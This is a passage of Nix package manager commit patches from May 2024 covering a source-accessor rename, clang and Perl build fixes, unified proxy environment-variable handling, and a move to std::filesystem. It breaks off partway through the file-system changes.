diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc
index 4f92488d68f..ff934c117b8 100644
--- a/tests/unit/libutil/git.cc
+++ b/tests/unit/libutil/git.cc
@@ -154,8 +154,8 @@ TEST_F(GitTest, tree_write) {
 TEST_F(GitTest, both_roundrip) {
     using File = MemorySourceAccessor::File;
 
-    MemorySourceAccessor files;
-    files.root = File::Directory {
+    auto files = make_ref<MemorySourceAccessor>();
+    files->root = File::Directory {
         .contents {
             {
                 "foo",
@@ -189,12 +189,12 @@ TEST_F(GitTest, both_roundrip) {
     std::map<Hash, std::string> cas;
 
     std::function<DumpHook> dumpHook;
-    dumpHook = [&](const CanonPath & path) {
+    dumpHook = [&](const SourcePath & path) {
         StringSink s;
         HashSink hashSink { HashAlgorithm::SHA1 };
         TeeSink s2 { s, hashSink };
         auto mode = dump(
-            files, path, s2, dumpHook,
+            path, s2, dumpHook,
             defaultPathFilter, mockXpSettings);
         auto hash = hashSink.finish().first;
         cas.insert_or_assign(hash, std::move(s.s));
@@ -204,11 +204,11 @@ TEST_F(GitTest, both_roundrip) {
         };
     };
 
-    auto root = dumpHook(CanonPath::root);
+    auto root = dumpHook({files});
 
-    MemorySourceAccessor files2;
+    auto files2 = make_ref<MemorySourceAccessor>();
 
-    MemorySink sinkFiles2 { files2 };
+    MemorySink sinkFiles2 { *files2 };
 
     std::function<void(const Path, const Hash &, BlobMode)> mkSinkHook;
     mkSinkHook = [&](auto prefix, auto & hash, auto blobMode) {
@@ -229,7 +229,7 @@ TEST_F(GitTest, both_roundrip) {
 
     mkSinkHook("", root.hash, BlobMode::Regular);
 
-    ASSERT_EQ(files, files2);
+    ASSERT_EQ(*files, *files2);
 }
 
 TEST(GitLsRemote, parseSymrefLineWithReference) {

From ef28c7329c68c8e792400c9e9dec65bd4c20584d Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 6 May 2024 19:16:52 +0200
Subject: [PATCH 089/528] Rename makeFSSourceAccessor -> getFSSourceAccessor()

This makes it clearer that it returns a shared accessor object.
---
 src/libcmd/installables.cc                       | 2 +-
 src/libexpr/eval.cc                              | 4 ++--
 src/libfetchers/unix/mercurial.cc                | 4 ++--
 src/libstore/unix/build/local-derivation-goal.cc | 8 ++++----
 src/libstore/unix/local-store.cc                 | 4 ++--
 src/libutil/posix-source-accessor.cc             | 2 +-
 src/libutil/source-accessor.hh                   | 7 +++++--
 7 files changed, 17 insertions(+), 14 deletions(-)

diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc
index 0d42a62cc84..43e312540ee 100644
--- a/src/libcmd/installables.cc
+++ b/src/libcmd/installables.cc
@@ -146,7 +146,7 @@ MixFlakeOptions::MixFlakeOptions()
         .category = category,
         .labels = {"flake-lock-path"},
         .handler = {[&](std::string lockFilePath) {
-            lockFlags.referenceLockFilePath = {makeFSSourceAccessor(), CanonPath(absPath(lockFilePath))};
+            lockFlags.referenceLockFilePath = {getFSSourceAccessor(), CanonPath(absPath(lockFilePath))};
         }},
         .completer = completePath
     });
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index ad6cdc6d202..d7e3a2cdb0b 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -399,14 +399,14 @@ EvalState::EvalState(
     , emptyBindings(0)
     , rootFS(
         evalSettings.restrictEval || evalSettings.pureEval
-        ? ref<SourceAccessor>(AllowListSourceAccessor::create(makeFSSourceAccessor(), {},
+        ? ref<SourceAccessor>(AllowListSourceAccessor::create(getFSSourceAccessor(), {},
             [](const CanonPath & path) -> RestrictedPathError {
                 auto modeInformation = evalSettings.pureEval
                     ? "in pure evaluation mode (use '--impure' to override)"
                     : "in restricted mode";
                 throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", path, modeInformation);
             }))
-        : makeFSSourceAccessor())
+        : getFSSourceAccessor())
     , corepkgsFS(make_ref<MemorySourceAccessor>())
     , internalFS(make_ref<MemorySourceAccessor>())
     , derivationInternal{corepkgsFS->addFile(
diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc
index 838cb41bf8f..049faffa8ab 100644
--- a/src/libfetchers/unix/mercurial.cc
+++ b/src/libfetchers/unix/mercurial.cc
@@ -212,7 +212,7 @@ struct MercurialInputScheme : InputScheme
 
                 auto storePath = store->addToStore(
                     input.getName(),
-                    {makeFSSourceAccessor(), CanonPath(actualPath)},
+                    {getFSSourceAccessor(), CanonPath(actualPath)},
                     FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {},
                     filter);
 
@@ -318,7 +318,7 @@ struct MercurialInputScheme : InputScheme
 
         deletePath(tmpDir + "/.hg_archival.txt");
 
-        auto storePath = store->addToStore(name, {makeFSSourceAccessor(), CanonPath(tmpDir)});
+        auto storePath = store->addToStore(name, {getFSSourceAccessor(), CanonPath(tmpDir)});
 
         Attrs infoAttrs({
             {"rev", input.getRev()->gitRev()},
diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 24f6897c62a..3b010350d89 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -2492,7 +2492,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                     HashModuloSink caSink { outputHash.hashAlgo, oldHashPart };
                     auto fim = outputHash.method.getFileIngestionMethod();
                     dumpPath(
-                        {makeFSSourceAccessor(), CanonPath(actualPath)},
+                        {getFSSourceAccessor(), CanonPath(actualPath)},
                         caSink,
                         (FileSerialisationMethod) fim);
                     return caSink.finish().first;
@@ -2500,7 +2500,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                 case FileIngestionMethod::Git: {
                     return git::dumpHash(
                         outputHash.hashAlgo,
-                        {makeFSSourceAccessor(), CanonPath(tmpDir + "/tmp")}).hash;
+                        {getFSSourceAccessor(), CanonPath(tmpDir + "/tmp")}).hash;
                 }
                 }
                 assert(false);
@@ -2528,7 +2528,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
 
             {
                 HashResult narHashAndSize = hashPath(
-                    {makeFSSourceAccessor(), CanonPath(actualPath)},
+                    {getFSSourceAccessor(), CanonPath(actualPath)},
                     FileSerialisationMethod::Recursive, HashAlgorithm::SHA256);
                 newInfo0.narHash = narHashAndSize.first;
                 newInfo0.narSize = narHashAndSize.second;
@@ -2551,7 +2551,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                         std::string { requiredFinalPath.hashPart() });
                 rewriteOutput(outputRewrites);
                 HashResult narHashAndSize = hashPath(
-                    {makeFSSourceAccessor(), CanonPath(actualPath)},
+                    {getFSSourceAccessor(), CanonPath(actualPath)},
                     FileSerialisationMethod::Recursive, HashAlgorithm::SHA256);
                 ValidPathInfo newInfo0 { requiredFinalPath, narHashAndSize.first };
                 newInfo0.narSize = narHashAndSize.second;
diff --git a/src/libstore/unix/local-store.cc b/src/libstore/unix/local-store.cc
index 7b3ba134759..a3de523a300 100644
--- a/src/libstore/unix/local-store.cc
+++ b/src/libstore/unix/local-store.cc
@@ -1252,7 +1252,7 @@ StorePath LocalStore::addToStoreFromDump(
         methodsMatch
             ? dumpHash
             : hashPath(
-                {makeFSSourceAccessor(), CanonPath(tempPath)},
+                {getFSSourceAccessor(), CanonPath(tempPath)},
                 hashMethod.getFileIngestionMethod(), hashAlgo),
         {
             .others = references,
@@ -1392,7 +1392,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
             Path linkPath = linksDir + "/" + link.name;
             PosixSourceAccessor accessor;
             std::string hash = hashPath(
-                {makeFSSourceAccessor(), CanonPath(linkPath)},
+                {getFSSourceAccessor(), CanonPath(linkPath)},
                 FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false);
             if (hash != link.name) {
                 printError("link '%s' was modified! expected hash '%s', got '%s'",
diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc
index f3551db42a6..e9c554939f2 100644
--- a/src/libutil/posix-source-accessor.cc
+++ b/src/libutil/posix-source-accessor.cc
@@ -167,7 +167,7 @@ void PosixSourceAccessor::assertNoSymlinks(CanonPath path)
     }
 }
 
-ref<SourceAccessor> makeFSSourceAccessor()
+ref<SourceAccessor> getFSSourceAccessor()
 {
     static auto rootFS = make_ref<PosixSourceAccessor>();
     return rootFS;
diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh
index b3fb9fe084a..d7fb0af5fac 100644
--- a/src/libutil/source-accessor.hh
+++ b/src/libutil/source-accessor.hh
@@ -197,10 +197,13 @@ MakeError(RestrictedPathError, Error);
 /**
  * Return an accessor for the root filesystem.
  */
-ref<SourceAccessor> makeFSSourceAccessor();
+ref<SourceAccessor> getFSSourceAccessor();
 
 /**
- * Return an accessor for the filesystem rooted at `root`.
+ * Construct an accessor for the filesystem rooted at `root`. Note
+ * that it is not possible to escape `root` by appending `..` path
+ * elements, and that absolute symlinks are resolved relative to
+ * `root`.
  */
 ref<SourceAccessor> makeFSSourceAccessor(std::filesystem::path root);
 

From 5e189025ca3d1f7bc629b3ff41d104f1e9d920c2 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Mon, 6 May 2024 13:38:21 -0400
Subject: [PATCH 090/528] Fix build failure with clang

A slight issue with feb1d10f60a2b9ae9cce48817b6a209a7ab007c8.
---
 src/libfetchers/fetchers.hh          | 2 ++
 tests/unit/libfetchers/public-key.cc | 4 ++--
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/src/libfetchers/fetchers.hh b/src/libfetchers/fetchers.hh
index 42b18439340..551be9a1f9a 100644
--- a/src/libfetchers/fetchers.hh
+++ b/src/libfetchers/fetchers.hh
@@ -230,6 +230,8 @@ struct PublicKey
 {
     std::string type = "ssh-ed25519";
     std::string key;
+
+    auto operator <=>(const PublicKey &) const = default;
 };
 
 std::string publicKeys_to_string(const std::vector<PublicKey>&);
diff --git a/tests/unit/libfetchers/public-key.cc b/tests/unit/libfetchers/public-key.cc
index 7b763bb051a..8a639da9f6a 100644
--- a/tests/unit/libfetchers/public-key.cc
+++ b/tests/unit/libfetchers/public-key.cc
@@ -22,7 +22,7 @@ class PublicKeyTest : public CharacterizationTest
     TEST_F(FIXTURE, PublicKey_ ## NAME ## _from_json) {                   \
         readTest(#NAME ".json", [&](const auto & encoded_) {              \
             fetchers::PublicKey expected { VAL };                         \
-            auto got = nlohmann::json::parse(encoded_);                   \
+            fetchers::PublicKey got = nlohmann::json::parse(encoded_);    \
             ASSERT_EQ(got, expected);                                     \
         });                                                               \
     }                                                                     \
@@ -47,7 +47,7 @@ TEST_F(PublicKeyTest, PublicKey_noRoundTrip_from_json) {
     readTest("noRoundTrip.json", [&](const auto & encoded_) {
         fetchers::PublicKey expected = { .type = "ssh-ed25519", .key = "ABCDE" };
         fetchers::PublicKey got = nlohmann::json::parse(encoded_);
-        ASSERT_EQ(got, nlohmann::json(expected));
+        ASSERT_EQ(got, expected);
     });
 }
 

From b7eb26e362c2b963b7300316d37c618f07505ccd Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 6 May 2024 20:00:44 +0200
Subject: [PATCH 091/528] Fix perl build

---
 perl/lib/Nix/Store.xs | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/perl/lib/Nix/Store.xs b/perl/lib/Nix/Store.xs
index 1d56e0127e1..ee211ef6493 100644
--- a/perl/lib/Nix/Store.xs
+++ b/perl/lib/Nix/Store.xs
@@ -256,9 +256,8 @@ SV *
 hashPath(char * algo, int base32, char * path)
     PPCODE:
         try {
-            auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(path);
             Hash h = hashPath(
-                accessor, canonPath,
+                PosixSourceAccessor::createAtRoot(path),
                 FileIngestionMethod::Recursive, parseHashAlgo(algo));
             auto s = h.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, false);
             XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0)));
@@ -336,10 +335,9 @@ StoreWrapper::addToStore(char * srcPath, int recursive, char * algo)
     PPCODE:
         try {
             auto method = recursive ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat;
-            auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(srcPath);
             auto path = THIS->store->addToStore(
                 std::string(baseNameOf(srcPath)),
-                accessor, canonPath,
+                PosixSourceAccessor::createAtRoot(srcPath),
                 method, parseHashAlgo(algo));
             XPUSHs(sv_2mortal(newSVpv(THIS->store->printStorePath(path).c_str(), 0)));
         } catch (Error & e) {

From c7216a416fb5ad902775520c18b3b5e3cf49fbe0 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 6 May 2024 21:11:41 +0200
Subject: [PATCH 092/528] Update src/libfetchers/cache.hh

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 src/libfetchers/cache.hh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libfetchers/cache.hh b/src/libfetchers/cache.hh
index 1a72162d789..4d834fe0ca3 100644
--- a/src/libfetchers/cache.hh
+++ b/src/libfetchers/cache.hh
@@ -16,7 +16,7 @@ struct Cache
 
     /**
      * A domain is a partition of the key/value cache for a particular
-     * purpose, e.g. "Git revision to revcount".
+     * purpose, e.g. git revision to revcount.
      */
     using Domain = std::string_view;
 

From b4950404ba7c8f14f5892bd1327b035590c2f7bc Mon Sep 17 00:00:00 2001
From: ramboman <ramboman777@gmail.com>
Date: Mon, 6 May 2024 19:39:22 +0000
Subject: [PATCH 093/528] Honor the same set of proxy environment variables
 (#10611)

Different parts of the project honor different sets of proxy environment
variables. With this commit all parts of the project will honor the same
set of proxy environment variables.

---------

Co-authored-by: Your Name <you@example.com>
Co-authored-by: John Ericson <John.Ericson@Obsidian.Systems>
---
 doc/manual/src/installation/env-variables.md |  3 +-
 scripts/install-systemd-multi-user.sh        |  2 +-
 src/libcmd/network-proxy.cc                  | 45 ++++++++++++++++++++
 src/libcmd/network-proxy.hh                  | 22 ++++++++++
 src/libexpr/fetchurl.nix                     |  1 +
 src/nix-build/nix-build.cc                   |  3 +-
 src/nix/main.cc                              | 24 +----------
 tests/nixos/nss-preload.nix                  |  1 +
 8 files changed, 76 insertions(+), 25 deletions(-)
 create mode 100644 src/libcmd/network-proxy.cc
 create mode 100644 src/libcmd/network-proxy.hh

diff --git a/doc/manual/src/installation/env-variables.md b/doc/manual/src/installation/env-variables.md
index db98f52ff6e..0350904211a 100644
--- a/doc/manual/src/installation/env-variables.md
+++ b/doc/manual/src/installation/env-variables.md
@@ -53,7 +53,8 @@ ssl-cert-file = /etc/ssl/my-certificate-bundle.crt
 
 The Nix installer has special handling for these proxy-related
 environment variables: `http_proxy`, `https_proxy`, `ftp_proxy`,
-`no_proxy`, `HTTP_PROXY`, `HTTPS_PROXY`, `FTP_PROXY`, `NO_PROXY`.
+`all_proxy`, `no_proxy`, `HTTP_PROXY`, `HTTPS_PROXY`, `FTP_PROXY`,
+`ALL_PROXY`, `NO_PROXY`.
 
 If any of these variables are set when running the Nix installer, then
 the installer will create an override file at
diff --git a/scripts/install-systemd-multi-user.sh b/scripts/install-systemd-multi-user.sh
index 202a9bb548b..a62ed7e3aa4 100755
--- a/scripts/install-systemd-multi-user.sh
+++ b/scripts/install-systemd-multi-user.sh
@@ -35,7 +35,7 @@ escape_systemd_env() {
 
 # Gather all non-empty proxy environment variables into a string
 create_systemd_proxy_env() {
-    vars="http_proxy https_proxy ftp_proxy no_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY NO_PROXY"
+    vars="http_proxy https_proxy ftp_proxy all_proxy no_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY ALL_PROXY NO_PROXY"
     for v in $vars; do
         if [ "x${!v:-}" != "x" ]; then
             echo "Environment=${v}=$(escape_systemd_env ${!v})"
diff --git a/src/libcmd/network-proxy.cc b/src/libcmd/network-proxy.cc
new file mode 100644
index 00000000000..633b2c005c1
--- /dev/null
+++ b/src/libcmd/network-proxy.cc
@@ -0,0 +1,45 @@
+#include "network-proxy.hh"
+
+#include <algorithm>
+#include <boost/algorithm/string.hpp>
+
+#include "environment-variables.hh"
+
+namespace nix {
+
+static const StringSet lowercaseVariables{"http_proxy", "https_proxy", "ftp_proxy", "all_proxy", "no_proxy"};
+
+static StringSet getAllVariables()
+{
+    StringSet variables = lowercaseVariables;
+    for (const auto & variable : lowercaseVariables) {
+        variables.insert(boost::to_upper_copy(variable));
+    }
+    return variables;
+}
+
+const StringSet networkProxyVariables = getAllVariables();
+
+static StringSet getExcludingNoProxyVariables()
+{
+    static const StringSet excludeVariables{"no_proxy", "NO_PROXY"};
+    StringSet variables;
+    std::set_difference(
+        networkProxyVariables.begin(), networkProxyVariables.end(), excludeVariables.begin(), excludeVariables.end(),
+        std::inserter(variables, variables.begin()));
+    return variables;
+}
+
+static const StringSet excludingNoProxyVariables = getExcludingNoProxyVariables();
+
+bool haveNetworkProxyConnection()
+{
+    for (const auto & variable : excludingNoProxyVariables) {
+        if (getEnv(variable).has_value()) {
+            return true;
+        }
+    }
+    return false;
+}
+
+}
diff --git a/src/libcmd/network-proxy.hh b/src/libcmd/network-proxy.hh
new file mode 100644
index 00000000000..0b6856acbf4
--- /dev/null
+++ b/src/libcmd/network-proxy.hh
@@ -0,0 +1,22 @@
+#pragma once
+///@file
+
+#include "types.hh"
+
+namespace nix {
+
+/**
+ * Environment variables relating to network proxying. These are used by
+ * a few misc commands.
+ *
+ * See the Environment section of https://curl.se/docs/manpage.html for details.
+ */
+extern const StringSet networkProxyVariables;
+
+/**
+ * Heuristically check if there is a proxy connection by checking for defined
+ * proxy variables.
+ */
+bool haveNetworkProxyConnection();
+
+}
diff --git a/src/libexpr/fetchurl.nix b/src/libexpr/fetchurl.nix
index 9d1b61d7fef..aef4058fb11 100644
--- a/src/libexpr/fetchurl.nix
+++ b/src/libexpr/fetchurl.nix
@@ -34,6 +34,7 @@ derivation ({
     # derivation like fetchurl is allowed to do so since its result is
     # by definition pure.
     "http_proxy" "https_proxy" "ftp_proxy" "all_proxy" "no_proxy"
+    "HTTP_PROXY" "HTTPS_PROXY" "FTP_PROXY" "ALL_PROXY" "NO_PROXY"
   ];
 
   # To make "nix-prefetch-url" work.
diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc
index 30ebc9498c5..46533b34bd0 100644
--- a/src/nix-build/nix-build.cc
+++ b/src/nix-build/nix-build.cc
@@ -25,6 +25,7 @@
 #include "attr-path.hh"
 #include "legacy.hh"
 #include "users.hh"
+#include "network-proxy.hh"
 
 using namespace nix;
 using namespace std::string_literals;
@@ -121,8 +122,8 @@ static void main_nix_build(int argc, char * * argv)
         "HOME", "XDG_RUNTIME_DIR", "USER", "LOGNAME", "DISPLAY",
         "WAYLAND_DISPLAY", "WAYLAND_SOCKET", "PATH", "TERM", "IN_NIX_SHELL",
         "NIX_SHELL_PRESERVE_PROMPT", "TZ", "PAGER", "NIX_BUILD_SHELL", "SHLVL",
-        "http_proxy", "https_proxy", "ftp_proxy", "all_proxy", "no_proxy"
     };
+    keepVars.insert(networkProxyVariables.begin(), networkProxyVariables.end());
 
     Strings args;
     for (int i = 1; i < argc; ++i)
diff --git a/src/nix/main.cc b/src/nix/main.cc
index 8ea2f774824..bc13a4df5a6 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -17,6 +17,7 @@
 #include "memory-source-accessor.hh"
 #include "terminal.hh"
 #include "users.hh"
+#include "network-proxy.hh"
 
 #include <sys/types.h>
 #include <regex>
@@ -41,27 +42,6 @@ void chrootHelper(int argc, char * * argv);
 
 namespace nix {
 
-#ifdef _WIN32
-[[maybe_unused]]
-#endif
-static bool haveProxyEnvironmentVariables()
-{
-    static const std::vector<std::string> proxyVariables = {
-        "http_proxy",
-        "https_proxy",
-        "ftp_proxy",
-        "HTTP_PROXY",
-        "HTTPS_PROXY",
-        "FTP_PROXY"
-    };
-    for (auto & proxyVariable: proxyVariables) {
-        if (getEnv(proxyVariable).has_value()) {
-            return true;
-        }
-    }
-    return false;
-}
-
 /* Check if we have a non-loopback/link-local network interface. */
 static bool haveInternet()
 {
@@ -86,7 +66,7 @@ static bool haveInternet()
         }
     }
 
-    if (haveProxyEnvironmentVariables()) return true;
+    if (haveNetworkProxyConnection()) return true;
 
     return false;
 #else
diff --git a/tests/nixos/nss-preload.nix b/tests/nixos/nss-preload.nix
index 00505d11421..610769c8df5 100644
--- a/tests/nixos/nss-preload.nix
+++ b/tests/nixos/nss-preload.nix
@@ -32,6 +32,7 @@ let
 
         impureEnvVars = [
             "http_proxy" "https_proxy" "ftp_proxy" "all_proxy" "no_proxy"
+            "HTTP_PROXY" "HTTPS_PROXY" "FTP_PROXY" "ALL_PROXY" "NO_PROXY"
         ];
 
         urls = [ "http://example.com" ];

From c371070580afbb7f18972ed52e973f581496f881 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 7 May 2024 00:14:49 -0400
Subject: [PATCH 094/528] Use `std::filesystem` functions in more places

This makes for shorter and more portable code.

The only tricky part is catching exceptions: I just searched for near by
`catch (Error &)` or `catch (SysError &)` and adjusted them to `catch
(std::filesystem::filesystem_error &)` according to my human judgement.

Good for windows portability; will help @siddhantk232 with his GSOC
project.
---
 configure.ac                                  |  1 -
 src/libcmd/repl.cc                            |  1 +
 src/libstore/builtins/buildenv.cc             |  4 +-
 src/libstore/globals.cc                       |  4 +-
 src/libstore/profiles.cc                      |  2 +
 src/libstore/unix/gc.cc                       | 14 ++--
 src/libstore/unix/local-store.hh              |  2 +-
 src/libutil/file-system.cc                    | 81 ++++++-------------
 src/libutil/file-system.hh                    | 19 +----
 src/libutil/linux/cgroup.cc                   |  2 +-
 src/libutil/posix-source-accessor.cc          | 14 ++--
 src/libutil/unix/file-descriptor.cc           |  1 +
 .../nix-collect-garbage.cc                    | 10 +--
 src/nix/config-check.cc                       |  3 +-
 14 files changed, 60 insertions(+), 98 deletions(-)

diff --git a/configure.ac b/configure.ac
index 8f60bf4beb7..b2a5794b503 100644
--- a/configure.ac
+++ b/configure.ac
@@ -63,7 +63,6 @@ AC_SYS_LARGEFILE
 
 
 # Solaris-specific stuff.
-AC_STRUCT_DIRENT_D_TYPE
 case "$host_os" in
   solaris*)
     # Solaris requires -lsocket -lnsl for network functions
diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index bade1b5382c..d2f2a96480e 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -264,6 +264,7 @@ StringSet NixRepl::completePrefix(const std::string & prefix)
                     completions.insert(prev + dir + "/" + entry.name);
             }
         } catch (Error &) {
+        } catch (std::filesystem::filesystem_error &) {
         }
     } else if ((dot = cur.rfind('.')) == std::string::npos) {
         /* This is a variable name; look it up in the current scope. */
diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc
index e009f5b9dbf..ebd8f13483a 100644
--- a/src/libstore/builtins/buildenv.cc
+++ b/src/libstore/builtins/buildenv.cc
@@ -21,8 +21,8 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir,
 
     try {
         srcFiles = readDirectory(srcDir);
-    } catch (SysError & e) {
-        if (e.errNo == ENOTDIR) {
+    } catch (std::filesystem::filesystem_error & e) {
+        if (e.code() == std::errc::not_a_directory) {
             warn("not including '%s' in the user environment because it's not a directory", srcDir);
             return;
         }
diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc
index dfe3044ea34..f0096b98120 100644
--- a/src/libstore/globals.cc
+++ b/src/libstore/globals.cc
@@ -348,8 +348,8 @@ void initPlugins()
             auto ents = readDirectory(pluginFile);
             for (const auto & ent : ents)
                 pluginFiles.emplace_back(pluginFile + "/" + ent.name);
-        } catch (SysError & e) {
-            if (e.errNo != ENOTDIR)
+        } catch (std::filesystem::filesystem_error & e) {
+            if (e.code() != std::errc::not_a_directory)
                 throw;
             pluginFiles.emplace_back(pluginFile);
         }
diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc
index 73d3976f43a..a0bb604104a 100644
--- a/src/libstore/profiles.cc
+++ b/src/libstore/profiles.cc
@@ -338,6 +338,8 @@ Path getDefaultProfile()
         return absPath(readLink(profileLink), dirOf(profileLink));
     } catch (Error &) {
         return profileLink;
+    } catch (std::filesystem::filesystem_error &) {
+        return profileLink;
     }
 }
 
diff --git a/src/libstore/unix/gc.cc b/src/libstore/unix/gc.cc
index be579439568..6677946aa77 100644
--- a/src/libstore/unix/gc.cc
+++ b/src/libstore/unix/gc.cc
@@ -203,7 +203,7 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor)
 }
 
 
-void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots)
+void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, Roots & roots)
 {
     auto foundRoot = [&](const Path & path, const Path & target) {
         try {
@@ -217,15 +217,15 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots)
 
     try {
 
-        if (type == DT_UNKNOWN)
+        if (type == std::filesystem::file_type::unknown)
             type = getFileType(path);
 
-        if (type == DT_DIR) {
+        if (type == std::filesystem::file_type::directory) {
             for (auto & i : readDirectory(path))
                 findRoots(path + "/" + i.name, i.type, roots);
         }
 
-        else if (type == DT_LNK) {
+        else if (type == std::filesystem::file_type::symlink) {
             Path target = readLink(path);
             if (isInStore(target))
                 foundRoot(path, target);
@@ -247,7 +247,7 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots)
             }
         }
 
-        else if (type == DT_REG) {
+        else if (type == std::filesystem::file_type::regular) {
             auto storePath = maybeParseStorePath(storeDir + "/" + std::string(baseNameOf(path)));
             if (storePath && isValidPath(*storePath))
                 roots[std::move(*storePath)].emplace(path);
@@ -268,8 +268,8 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots)
 void LocalStore::findRootsNoTemp(Roots & roots, bool censor)
 {
     /* Process direct roots in {gcroots,profiles}. */
-    findRoots(stateDir + "/" + gcRootsDir, DT_UNKNOWN, roots);
-    findRoots(stateDir + "/profiles", DT_UNKNOWN, roots);
+    findRoots(stateDir + "/" + gcRootsDir, std::filesystem::file_type::unknown, roots);
+    findRoots(stateDir + "/profiles", std::filesystem::file_type::unknown, roots);
 
     /* Add additional roots returned by different platforms-specific
        heuristics.  This is typically used to add running programs to
diff --git a/src/libstore/unix/local-store.hh b/src/libstore/unix/local-store.hh
index 47d3c04bc78..15bcc826f6e 100644
--- a/src/libstore/unix/local-store.hh
+++ b/src/libstore/unix/local-store.hh
@@ -371,7 +371,7 @@ private:
     PathSet queryValidPathsOld();
     ValidPathInfo queryPathInfoOld(const Path & path);
 
-    void findRoots(const Path & path, unsigned char type, Roots & roots);
+    void findRoots(const Path & path, std::filesystem::file_type type, Roots & roots);
 
     void findRootsNoTemp(Roots & roots, bool censor);
 
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index b03bb767b6f..0e68241fce3 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -120,10 +120,10 @@ Path canonPath(PathView path, bool resolveSymlinks)
 
 Path dirOf(const PathView path)
 {
-    Path::size_type pos = path.rfind('/');
+    Path::size_type pos = NativePathTrait::rfindPathSep(path);
     if (pos == path.npos)
         return ".";
-    return pos == 0 ? "/" : Path(path, 0, pos);
+    return fs::path{path}.parent_path().string();
 }
 
 
@@ -217,72 +217,36 @@ bool pathAccessible(const Path & path)
 
 Path readLink(const Path & path)
 {
-#ifndef _WIN32
     checkInterrupt();
-    std::vector<char> buf;
-    for (ssize_t bufSize = PATH_MAX/4; true; bufSize += bufSize/2) {
-        buf.resize(bufSize);
-        ssize_t rlSize = readlink(path.c_str(), buf.data(), bufSize);
-        if (rlSize == -1)
-            if (errno == EINVAL)
-                throw Error("'%1%' is not a symlink", path);
-            else
-                throw SysError("reading symbolic link '%1%'", path);
-        else if (rlSize < bufSize)
-            return std::string(buf.data(), rlSize);
-    }
-#else
-    // TODO modern Windows does in fact support symlinks
-    throw UnimplementedError("reading symbolic link '%1%'", path);
-#endif
+    return fs::read_symlink(path).string();
 }
 
 
 bool isLink(const Path & path)
 {
-    return getFileType(path) == DT_LNK;
+    return getFileType(path) == fs::file_type::symlink;
 }
 
 
-DirEntries readDirectory(DIR *dir, const Path & path)
+DirEntries readDirectory(const Path & path)
 {
     DirEntries entries;
     entries.reserve(64);
 
-    struct dirent * dirent;
-    while (errno = 0, dirent = readdir(dir)) { /* sic */
+    for (auto & entry : fs::directory_iterator{path}) {
         checkInterrupt();
-        std::string name = dirent->d_name;
-        if (name == "." || name == "..") continue;
-        entries.emplace_back(name, dirent->d_ino,
-#ifdef HAVE_STRUCT_DIRENT_D_TYPE
-            dirent->d_type
-#else
-            DT_UNKNOWN
-#endif
-        );
+        entries.emplace_back(
+            entry.path().filename().string(),
+            entry.symlink_status().type());
     }
-    if (errno) throw SysError("reading directory '%1%'", path);
 
     return entries;
 }
 
-DirEntries readDirectory(const Path & path)
-{
-    AutoCloseDir dir(opendir(path.c_str()));
-    if (!dir) throw SysError("opening directory '%1%'", path);
 
-    return readDirectory(dir.get(), path);
-}
-
-
-unsigned char getFileType(const Path & path)
+fs::file_type getFileType(const Path & path)
 {
-    struct stat st = lstat(path);
-    if (S_ISDIR(st.st_mode)) return DT_DIR;
-    if (S_ISLNK(st.st_mode)) return DT_LNK;
-    if (S_ISREG(st.st_mode)) return DT_REG;
-    return DT_UNKNOWN;
+    return fs::symlink_status(path).type();
 }
 
 
